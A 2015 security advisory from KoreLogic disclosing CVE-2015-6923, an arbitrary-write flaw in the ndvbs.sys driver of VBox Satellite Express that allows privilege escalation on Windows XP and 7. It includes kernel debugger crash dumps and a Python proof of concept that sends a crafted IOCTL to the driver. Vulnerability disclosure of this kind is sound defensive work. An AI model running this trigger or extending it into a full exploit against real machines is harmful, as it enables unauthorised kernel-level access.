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248 | KL-001-2015-005 : VBox Satellite Express Arbitrary Write Privilege Escalation
Title: VBox Satellite Express Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2015-005
Publication Date: 2015.09.16
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-005.txt
1. Vulnerability Details
Affected Vendor: VBox Communications
Affected Product: Satellite Express Protocol
Affected Version: 2.3.17.3
Platform: Microsoft Windows XP SP3, Microsoft Windows 7 (x86)
CWE Classification: CWE-123: Write-what-where condition
Impact: Arbitrary Code Execution
Attack vector: IOCTL
CVE-ID: CVE-2015-6923
2. Vulnerability Description
A vulnerability within the ndvbs module allows an attacker
to inject memory they control into an arbitrary location they
define. This vulnerability can be used to overwrite function
pointers in HalDispatchTable resulting in an elevation of
privilege.
3. Technical Description
Example against Windows XP:
Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 2600.xpsp_sp3_qfe.101209-1646
Machine Name:
Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0
Debug session time: Tue Mar 10 18:57:54.259 2015 (UTC - 7:00)
System Uptime: 0 days 0:11:19.843
*********************************************************************
* *
* Bugcheck Analysis *
* *
*********************************************************************
Use !analyze -v to get detailed debugging information.
BugCheck 50, {b41c5d4c, 0, 805068e1, 0}
Probably caused by : ndvbs.sys ( ndvbs+94f )
Followup: MachineOwner
---------
kd> kn
Call stack: # ChildEBP RetAddr
00 f64fda98 8051cc7f nt!KeBugCheckEx+0x1b
01 f64fdaf8 805405d4 nt!MmAccessFault+0x8e7
02 f64fdaf8 805068e1 nt!KiTrap0E+0xcc
03 f64fdbb0 80506aae nt!MmMapLockedPagesSpecifyCache+0x211
04 f64fdbd0 f650e94f nt!MmMapLockedPages+0x18
05 f64fdc34 804ee129 ndvbs+0x94f
06 f64fdc44 80574e56 nt!IopfCallDriver+0x31
07 f64fdc58 80575d11 nt!IopSynchronousServiceTail+0x70
08 f64fdd00 8056e57c nt!IopXxxControlFile+0x5e7
09 f64fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
0a f64fdd34 7c90e514 nt!KiFastCallEntry+0xf8
0b 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
0c 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
0d 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
0e 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
0f 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
10 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
11 0021f6c0 1e07bd9c _ctypes+0x54d8
12 00000000 00000000 python27!PyObject_Call+0x4c
Example against Windows 7:
Microsoft (R) Windows Debugger Version 6.3.9600.17298 X86
Copyright (c) Microsoft Corporation. All rights reserved.
Windows 7 Kernel Version 7601 (Service Pack 1) UP Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS Personal
Built by: 7601.17514.x86fre.win7sp1_rtm.101119-1850
Kernel base = 0x8280c000 PsLoadedModuleList = 0x82956850
Debug session time: Tue Sep 15 15:08:38.938 2015 (UTC - 7:00)
System Uptime: 0 days 0:27:26.358
kd> .symfix;.reload
Loading Kernel Symbols
...............................................................
................................................................
........................
Loading User Symbols
Loading unloaded module list
........
kd> !analyze -v
**********************************************************************
* *
* Bugcheck Analysis *
* *
**********************************************************************
KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 929ef938, The address that the exception occurred at
Arg3: 974f4a34, Trap Frame
Arg4: 00000000
Debugging Details:
------------------
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx
referenced memory at 0x%08lx. The memory could not be %s.
FAULTING_IP:
ndvbs+938
929ef938 8b4604 mov eax,dword ptr [esi+4]
TRAP_FRAME: 974f4a34 -- (.trap 0xffffffff974f4a34)
ErrCode = 00000000
eax=00000000 ebx=85490880 ecx=85de2ae0 edx=85490810 esi=85490810 edi=8460a668
eip=929ef938 esp=974f4aa8 ebp=974f4afc iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
ndvbs+0x938:
929ef938 8b4604 mov eax,dword ptr [esi+4]
Resetting default scope
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0x8E
PROCESS_NAME: python.exe
CURRENT_IRQL: 0
ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre
LAST_CONTROL_TRANSFER: from 82843593 to 929ef938
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
974f4afc 82843593 85de2a28 85490810 85490810 ndvbs+0x938
974f4b14 82a3799f 8460a668 85490810 85490880 nt!IofCallDriver+0x63
974f4b34 82a3ab71 85de2a28 8460a668 00000000 nt!IopSynchronousServiceTail+0x1f8
974f4bd0 82a813f4 85de2a28 85490810 00000000 nt!IopXxxControlFile+0x6aa
974f4c04 8284a1ea 00000078 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
974f4c04 76fa70b4 00000078 00000000 00000000 nt!KiFastCallEntry+0x12a
0021f99c 00000000 00000000 00000000 00000000 0x76fa70b4
STACK_COMMAND: kb
FOLLOWUP_IP:
ndvbs+938
929ef938 8b4604 mov eax,dword ptr [esi+4]
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: ndvbs+938
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: ndvbs
IMAGE_NAME: ndvbs.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 3ec77b36
BUCKET_ID: OLD_IMAGE_ndvbs.sys
FAILURE_BUCKET_ID: OLD_IMAGE_ndvbs.sys
ANALYSIS_SOURCE: KM
FAILURE_ID_HASH_STRING: km:old_image_ndvbs.sys
FAILURE_ID_HASH: {e5b892ba-cc2c-e4a4-9b6e-5e8b63660e75}
Followup: MachineOwner
---------
4. Mitigation and Remediation Recommendation
No response from vendor; no remediation available.
5. Credit
This vulnerability was discovered by Matt Bergin of KoreLogic
Security, Inc.
6. Disclosure Timeline
2015.05.19 - KoreLogic requests a security contact from
info@vboxcomm.com.
2015.05.29 - KoreLogic requests a security contact from
{info,sales,marketing}@vboxcomm.com.
2015.08.03 - 45 business days have elapsed since KoreLogic's last
contact attempt.
2015.09.11 - KoreLogic requests CVE from Mitre.
2015.09.12 - Mitre issues CVE-2015-6923.
2015.09.16 - Public disclosure.
7. Proof of Concept
from sys import exit
from ctypes import *
NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory
WriteProcessMemory = windll.kernel32.WriteProcessMemory
DeviceIoControl = windll.ntdll.NtDeviceIoControlFile
CreateFileA = windll.kernel32.CreateFileA
CloseHandle = windll.kernel32.CloseHandle
FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1
OPEN_EXISTING = 3
NULL = None
device = "ndvbs"
code = 0x00000ffd
inlen = 0x0
outlen = 0x0
inbuf = 0x1
outbuf = 0xffff0000
inBufMem = "\x90"*inlen
def main():
try:
handle = CreateFileA("\\\\.\\%s" %
(device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print "[-] error creating handle"
exit(1)
except Exception as e:
print "[-] error creating handle"
exit(1)
#NtAllocateVirtualMemory(-1,byref(c_int(inbuf)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,inbuf,inlen,outbuf,outlen)
CloseHandle(handle)
return False
if __name__=="__main__":
main()
The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt
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